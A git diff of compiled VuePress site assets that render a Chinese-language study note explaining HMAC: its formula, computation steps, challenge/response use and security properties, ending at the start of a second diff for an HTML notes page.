e=JSON.parse('{"key":"v-7f8dff6a","path":"/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/%E5%8A%A0%E5%AF%86%E7%AE%97%E6%B3%95/HMAC.html","title":"HMAC","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"公式和计算流程","slug":"公式和计算流程","link":"#公式和计算流程","children":[]},{"level":2,"title":"应用","slug":"应用","link":"#应用","children":[]},{"level":2,"title":"安全性","slug":"安全性","link":"#安全性","children":[]}],"git":{"createdTime":1668240869000,"updatedTime":1668240869000,"contributors":[{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":5.34,"words":1602},"filePathRelative":"网络安全/加密算法/HMAC.md","localizedDate":"2022年11月12日","excerpt":""}');export{e as data}; diff --git a/assets/HMAC.html-b9363042.js b/assets/HMAC.html-b9363042.js new file mode 100644 index 0000000000..b174e28dcc --- /dev/null +++ b/assets/HMAC.html-b9363042.js @@ -0,0 +1 @@ +import{_ as t}from"./plugin-vue_export-helper-c27b6911.js";import{r as o,o as m,c as r,b as l,e as s,d as n,f as e}from"./app-893ba623.js";const i={},c=l("h1",{id:"hmac",tabindex:"-1"},[l("a",{class:"header-anchor",href:"#hmac","aria-hidden":"true"},"#"),s(" HMAC")],-1),h={href:"https://zhuanlan.zhihu.com/p/136590049",target:"_blank",rel:"noopener noreferrer"},p={href:"https://docs.github.com/en/developers/webhooks-and-events/webhooks/securing-your-webhooks",target:"_blank",rel:"noopener noreferrer"},u={href:"https://zhuanlan.zhihu.com/p/398292957",target:"_blank",rel:"noopener noreferrer"},d={href:"https://www.liaoxuefeng.com/wiki/1252599548343744/1305366354722849",target:"_blank",rel:"noopener noreferrer"},g=l("p",null,[s("在身份认证过程中,有很多种方式可以保证用户信息的安全,"),l("code",null,"MAC(message authentication code)"),s(" 就是一种常用的方法。")],-1),_=l("p",null,"消息认证码是对消息进行认证并确认其完整性的技术。通过使用发送者和接收者之间共享的密钥,就可以识别出是否存在伪装和篡改行为。",-1),M=l("p",null,[s("MAC 是通过 "),l("strong",null,"MAC算法 + 密钥 + 要加密的信息一起计算"),s("得出的。")],-1),H=l("ul",null,[l("li",null,"Hash与MAC的区别,Hash只能保证消息的完整性,MAC不仅能够保证完整性,还能够保证真实性。")],-1),A={href:"https://www.liaoxuefeng.com/wiki/1252599548343744/1304227729113121",target:"_blank",rel:"noopener noreferrer"},f=l("hr",null,null,-1),b=l("p",null,"哈希算法(Hash)又称摘要算法(Digest),它的作用是:对任意一组输入数据进行计算,得到一个固定长度的输出摘要。",-1),C=l("p",null,"哈希算法最重要的特点就是:",-1),y=l("ul",null,[l("li",null,"相同的输入一定得到相同的输出;"),l("li",null,[s("不同的输入"),l("strong",null,"大概率"),s("得到不同的输出。")])],-1),w=l("p",null,"哈希算法的目的就是为了验证原始数据是否被篡改。",-1),x=l("ul",null,[l("li",null,[l("p",null,"同公私钥体系相比,因为MAC的密钥在发送方和接收方是一样的,所以发送方和接收方都可以来生成MAC,而公私钥体系因为将公钥和私钥分开,所以增加了不可抵赖性。")]),l("li",null,[l("p",null,[s("MAC有很多实现方式,比较通用的是基于 hash 算法的 MAC,比如 "),l("code",null,"HMAC"),s("。还有一种是基于分组密码的实现,比如``OMAC, CBC-MAC and PMAC`")])])],-1),k=l("hr",null,null,-1),K=l("p",null,[s("对于 Hash 算法 $$digest = hash(input)$$ 相同的输入会产生相同的输出,我们加盐的目的就在于,使得输入有所变化:"),l("span",{class:"katex"},[l("span",{class:"katex-mathml"},[l("math",{xmlns:"http://www.w3.org/1998/Math/MathML"},[l("semantics",null,[l("mrow",null,[l("mi",null,"d"),l("mi",null,"i"),l("mi",null,"g"),l("mi",null,"e"),l("mi",null,"s"),l("mi",null,"t"),l("mo",null,"="),l("mi",null,"h"),l("mi",null,"a"),l("mi",null,"s"),l("mi",null,"h"),l("mo",{stretchy:"false"},"("),l("mi",null,"s"),l("mi",null,"a"),l("mi",null,"l"),l("mi",null,"t"),l("mo",null,"+"),l("mi",null,"i"),l("mi",null,"n"),l("mi",null,"p"),l("mi",null,"u"),l("mi",null,"t"),l("mo",{stretchy:"false"},")")]),l("annotation",{encoding:"application/x-tex"},"digest = hash(salt + input)")])])]),l("span",{class:"katex-html","aria-hidden":"true"},[l("span",{class:"base"},[l("span",{class:"strut",style:{height:"0.8889em","vertical-align":"-0.1944em"}}),l("span",{class:"mord mathnormal"},"d"),l("span",{class:"mord mathnormal"},"i"),l("span",{class:"mord mathnormal",style:{"margin-right":"0.03588em"}},"g"),l("span",{class:"mord mathnormal"},"es"),l("span",{class:"mord mathnormal"},"t"),l("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),l("span",{class:"mrel"},"="),l("span",{class:"mspace",style:{"margin-right":"0.2778em"}})]),l("span",{class:"base"},[l("span",{class:"strut",style:{height:"1em","vertical-align":"-0.25em"}}),l("span",{class:"mord mathnormal"},"ha"),l("span",{class:"mord mathnormal"},"s"),l("span",{class:"mord mathnormal"},"h"),l("span",{class:"mopen"},"("),l("span",{class:"mord mathnormal"},"s"),l("span",{class:"mord mathnormal"},"a"),l("span",{class:"mord mathnormal"},"lt"),l("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),l("span",{class:"mbin"},"+"),l("span",{class:"mspace",style:{"margin-right":"0.2222em"}})]),l("span",{class:"base"},[l("span",{class:"strut",style:{height:"1em","vertical-align":"-0.25em"}}),l("span",{class:"mord mathnormal"},"in"),l("span",{class:"mord mathnormal"},"p"),l("span",{class:"mord mathnormal"},"u"),l("span",{class:"mord mathnormal"},"t"),l("span",{class:"mclose"},")")])])]),s(" 这个 salt 可以看作是一个额外的“认证码”,同样的输入,不同的认证码,会产生不同的输出。因此,要验证输出的哈希,必须同时提供“认证码”。")],-1),v=e('

    HMAC(Hash-based Message Authentication Code) 算法就是一种基于密钥的消息认证码算法, 是一种更安全的消息摘要算法.

    HMAC算法是一种执行“校验和”的算法,它通过对数据进行“校验”来检查数据是否被更改了。在发送数据以前,HMAC算法对数据块和双方约定的公钥进行“散列操作”,以生成称为“摘要”的东西,附加在待发送的数据块中。当数据和摘要到达其目的地时,就使用HMAC算法来生成另一个校验和,如果两个数字相匹配,那么数据未被做任何篡改。否则,就意味着数据在传输或存储过程中被篡改了。

    HMAC 的 MAC 算法是 hash 算法,它可以是 MD5, SHA-1 或者 SHA-256,他们分别被称为 HMAC-MD5,``HMAC-SHA1HMAC-SHA256`。


    公式和计算流程

    ',5),B={href:"https://www.cnblogs.com/shoshana-kong/p/11497676.html",target:"_blank",rel:"noopener noreferrer"},S={href:"https://zhuanlan.zhihu.com/p/136590049",target:"_blank",rel:"noopener noreferrer"},z=l("p",null,"HMAC 用公式可以表示为:",-1),L=l("p",null,[l("span",{class:"katex"},[l("span",{class:"katex-mathml"},[l("math",{xmlns:"http://www.w3.org/1998/Math/MathML"},[l("semantics",null,[l("mrow",null,[l("mi",null,"H"),l("mi",null,"M"),l("mi",null,"A"),l("mi",null,"C"),l("mo",{stretchy:"false"},"("),l("mi",null,"K"),l("mo",{separator:"true"},","),l("mi",null,"M"),l("mo",{stretchy:"false"},")"),l("mo",null,"="),l("mi",null,"H"),l("mo",{stretchy:"false"},"("),l("mi",null,"K"),l("mo",null,"⨁"),l("mi",null,"o"),l("mi",null,"p"),l("mi",null,"a"),l("mi",null,"d"),l("mo",{separator:"true"},","),l("mi",null,"H"),l("mo",{stretchy:"false"},"("),l("mi",null,"K"),l("mo",null,"⨁"),l("mi",null,"i"),l("mi",null,"p"),l("mi",null,"a"),l("mi",null,"d"),l("mo",{separator:"true"},","),l("mi",null,"t"),l("mi",null,"e"),l("mi",null,"x"),l("mi",null,"t"),l("mo",{stretchy:"false"},")"),l("mo",{stretchy:"false"},")")]),l("annotation",{encoding:"application/x-tex"},"HMAC(K, M) = H(K \\bigoplus opad , H(K \\bigoplus ipad, text))")])])]),l("span",{class:"katex-html","aria-hidden":"true"},[l("span",{class:"base"},[l("span",{class:"strut",style:{height:"1em","vertical-align":"-0.25em"}}),l("span",{class:"mord mathnormal",style:{"margin-right":"0.08125em"}},"H"),l("span",{class:"mord mathnormal",style:{"margin-right":"0.10903em"}},"M"),l("span",{class:"mord mathnormal"},"A"),l("span",{class:"mord mathnormal",style:{"margin-right":"0.07153em"}},"C"),l("span",{class:"mopen"},"("),l("span",{class:"mord mathnormal",style:{"margin-right":"0.07153em"}},"K"),l("span",{class:"mpunct"},","),l("span",{class:"mspace",style:{"margin-right":"0.1667em"}}),l("span",{class:"mord mathnormal",style:{"margin-right":"0.10903em"}},"M"),l("span",{class:"mclose"},")"),l("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),l("span",{class:"mrel"},"="),l("span",{class:"mspace",style:{"margin-right":"0.2778em"}})]),l("span",{class:"base"},[l("span",{class:"strut",style:{height:"1em","vertical-align":"-0.25em"}}),l("span",{class:"mord mathnormal",style:{"margin-right":"0.08125em"}},"H"),l("span",{class:"mopen"},"("),l("span",{class:"mord mathnormal",style:{"margin-right":"0.07153em"}},"K"),l("span",{class:"mspace",style:{"margin-right":"0.1667em"}}),l("span",{class:"mop op-symbol small-op",style:{position:"relative",top:"0em"}},"⨁"),l("span",{class:"mspace",style:{"margin-right":"0.1667em"}}),l("span",{class:"mord mathnormal"},"o"),l("span",{class:"mord mathnormal"},"p"),l("span",{class:"mord mathnormal"},"a"),l("span",{class:"mord mathnormal"},"d"),l("span",{class:"mpunct"},","),l("span",{class:"mspace",style:{"margin-right":"0.1667em"}}),l("span",{class:"mord mathnormal",style:{"margin-right":"0.08125em"}},"H"),l("span",{class:"mopen"},"("),l("span",{class:"mord mathnormal",style:{"margin-right":"0.07153em"}},"K"),l("span",{class:"mspace",style:{"margin-right":"0.1667em"}}),l("span",{class:"mop op-symbol small-op",style:{position:"relative",top:"0em"}},"⨁"),l("span",{class:"mspace",style:{"margin-right":"0.1667em"}}),l("span",{class:"mord mathnormal"},"i"),l("span",{class:"mord mathnormal"},"p"),l("span",{class:"mord mathnormal"},"a"),l("span",{class:"mord mathnormal"},"d"),l("span",{class:"mpunct"},","),l("span",{class:"mspace",style:{"margin-right":"0.1667em"}}),l("span",{class:"mord mathnormal"},"t"),l("span",{class:"mord mathnormal"},"e"),l("span",{class:"mord mathnormal"},"x"),l("span",{class:"mord mathnormal"},"t"),l("span",{class:"mclose"},"))")])])])],-1),D=l("ul",null,[l("li",null,[l("code",null,"H"),s(": hash算法,比如(``MD5"),l("code",null,","),s("SHA-1"),l("code",null,","),s("SHA-256`)")]),l("li",null,[l("code",null,"B"),s(": 块字节的长度,块是hash操作的基本单位。这里B=64")]),l("li",null,[l("code",null,"L"),s(": hash算法计算出来的字节长度。(L=16 for MD5, L=20 for SHA-1)")]),l("li",null,[l("code",null,"K"),s(": 共享密钥,K的长度可以是任意的,但是为了安全考虑,还是推荐 "),l("code",null,"K的长度 > B"),s("。 "),l("ul",null,[l("li",null,"K 的长度 > B 时会先在 K 上面执行 hash 算法,将得到的 L 长度结果作为新的共享密钥。"),l("li",null,"K 的长度 < B 时那么会在 K 后面填充 0x00 一直到等于长度 B")])]),l("li",null,[l("code",null,"M"),s(": 要加密的内容")]),l("li",null,[l("code",null,"opad"),s(": 外部填充常量, 是 "),l("code",null,"0x5c"),s(" 重复 B 次")]),l("li",null,[l("code",null,"ipad"),s(": 内部填充常量, 是 "),l("code",null,"0x36"),s(" 重复 B 次")]),l("li",null,[l("span",{class:"katex"},[l("span",{class:"katex-mathml"},[l("math",{xmlns:"http://www.w3.org/1998/Math/MathML"},[l("semantics",null,[l("mrow",null,[l("mo",null,"⨁")]),l("annotation",{encoding:"application/x-tex"},"\\bigoplus")])])]),l("span",{class:"katex-html","aria-hidden":"true"},[l("span",{class:"base"},[l("span",{class:"strut",style:{height:"1em","vertical-align":"-0.25em"}}),l("span",{class:"mop op-symbol small-op",style:{position:"relative",top:"0em"}},"⨁")])])]),s(": 异或运算")])],-1),q=e('

    计算步骤:

    1. 将 0x00 填充到 K 的后面,直到其长度等于B。
    2. 将步骤 1 的结果跟 ipad 做异或。
    3. 将要加密的信息附在步骤 2 的结果后面
    4. 调用 H 方法计算步骤 3 的结果
    5. 将步骤 1 的结果跟 opad 做异或。
    6. 将步骤 4 的结果附在步骤 5 的结果后面。
    7. 调用 H 方法计算步骤 6 的结果

    应用

    ',4),N={href:"https://www.cnblogs.com/shoshana-kong/p/11497676.html",target:"_blank",rel:"noopener noreferrer"},E=e('

    HMAC 算法的一个典型应用是用在 “挑战/响应”(Challenge/Response) 身份认证中,认证流程如下:

    1. 先由客户端向服务器发出一个验证请求。

    2. 服务器接到此请求后生成一个随机数并通过网络传输给客户端(此为挑战)。

    3. 客户端将收到的随机数与自己的密钥进行 HMAC-SHA1 运算并得到一个结果作为认证证据传给服务器(此为响应)。

    4. 与此同时,服务器也使用该随机数与存储在服务器数据库中的该客户密钥进行 HMAC-SHA1 运算

      如果服务器的运算结果与客户端传回的响应结果相同,则认为客户端是一个合法用户 。


    安全性

    ',4),I={href:"https://www.ftsafe.com.cn/service/kbase/infomation-2",target:"_blank",rel:"noopener noreferrer"},V={href:"https://www.cnblogs.com/shoshana-kong/p/11497676.html",target:"_blank",rel:"noopener noreferrer"},$=l("p",null,"HMAC算法引入了密钥,其安全性已经不完全依赖于所使用的HASH算法,安全性主要有以下几点保证:",-1),T=l("ul",null,[l("li",null,"使用的密钥是双方事先约定的,第三方不可能知道。由上面介绍应用流程可以看出,作为非法截获信息的第三方,能够得到的信息只有作为“挑战”的随机数和作为“响应”的HMAC结果,无法根据这两个数据推算出密钥。由于不知道密钥,所以无法仿造出一致的响应。"),l("li",null,"在HMAC算法的应用中,第三方不可能事先知道输出(如果知道,不用构造输入,直接将输出送给服务器即可)。"),l("li",null,"HMAC算法与一般的加密重要的区别在于它具有“瞬时”性,即认证只在当时有效,而加密算法被破解后,以前的加密结果就可能被解密。")],-1);function F(G,O){const a=o("ExternalLinkIcon");return m(),r("div",null,[c,l("blockquote",null,[l("p",null,[l("a",h,[s("HMAC算法及其应用 - 知乎 (zhihu.com)"),n(a)])]),l("p",null,[l("a",p,[s("Securing your webhooks - GitHub Docs"),n(a)])]),l("p",null,[l("a",u,[s("消息认证码与哈希算法的区别 - 知乎 (zhihu.com)"),n(a)])]),l("p",null,[l("a",d,[s("Hmac算法 - 廖雪峰的官方网站 (liaoxuefeng.com)"),n(a)])])]),g,_,M,H,l("blockquote",null,[l("p",null,[l("a",A,[s("哈希算法 - 廖雪峰的官方网站 (liaoxuefeng.com)"),n(a)])]),f,b,C,y,w]),x,k,K,v,l("blockquote",null,[l("p",null,[l("a",B,[s("HMAC算法原理 - 月染霜华 - 博客园 (cnblogs.com)"),n(a)])]),l("p",null,[l("a",S,[s("HMAC算法及其应用 - 知乎 (zhihu.com)"),n(a)])])]),z,L,D,q,l("blockquote",null,[l("p",null,[l("a",N,[s("HMAC算法原理 - 月染霜华 - 博客园 (cnblogs.com)"),n(a)])])]),E,l("blockquote",null,[l("p",null,[l("a",I,[s("HMAC算法安全性浅析 | FEITIAN (ftsafe.com.cn)"),n(a)])]),l("p",null,[l("a",V,[s("HMAC算法原理 - 月染霜华 - 博客园 (cnblogs.com)"),n(a)])])]),$,T])}const j=t(i,[["render",F],["__file","HMAC.html.vue"]]);export{j as default}; diff --git a/assets/HTML.html-40fb6139.js b/assets/HTML.html-40fb6139.js new file mode 100644 index 0000000000..5d8a2af58a --- /dev/null +++ b/assets/HTML.html-40fb6139.js @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-6b57d0f3","path":"/%E5%89%8D%E7%AB%AF/HTML.html","title":"HTML","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"label","slug":"label","link":"#label","children":[]},{"level":2,"title":"form","slug":"form","link":"#form","children":[{"level":3,"title":"action","slug":"action","link":"#action","children":[]}]},{"level":2,"title":"HTML URL 编码","slug":"html-url-编码","link":"#html-url-编码","children":[]},{"level":2,"title":"DOM","slug":"dom","link":"#dom","children":[{"level":3,"title":"HTML DOM 树形结构","slug":"html-dom-树形结构","link":"#html-dom-树形结构","children":[]},{"level":3,"title":"HTML DOM简介","slug":"html-dom简介","link":"#html-dom简介","children":[]},{"level":3,"title":"HTML DOM节点","slug":"html-dom节点","link":"#html-dom节点","children":[]},{"level":3,"title":"HTML DOM方法","slug":"html-dom方法","link":"#html-dom方法","children":[]},{"level":3,"title":"HTML DOM属性","slug":"html-dom属性","link":"#html-dom属性","children":[]},{"level":3,"title":"HTML DOM 访问","slug":"html-dom-访问","link":"#html-dom-访问","children":[]},{"level":3,"title":"HTML DOM修改","slug":"html-dom修改","link":"#html-dom修改","children":[]}]}],"git":{"createdTime":1675222387000,"updatedTime":1675222387000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":9,"words":2700},"filePathRelative":"前端/HTML.md","localizedDate":"2023年2月1日","excerpt":""}');export{l as data}; diff --git a/assets/HTML.html-6e4ae141.js b/assets/HTML.html-6e4ae141.js new file mode 100644 index 0000000000..c29d02b3c1 --- /dev/null +++ b/assets/HTML.html-6e4ae141.js @@ -0,0 +1,29 @@ +import{_ as s}from"./plugin-vue_export-helper-c27b6911.js";import{r as o,o as i,c as p,b as t,e,d as n,f as l}from"./app-893ba623.js";const d={},c=l('

    HTML


    label

    ',4),r={href:"https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/label",target:"_blank",rel:"noopener noreferrer"},u=t("code",null,"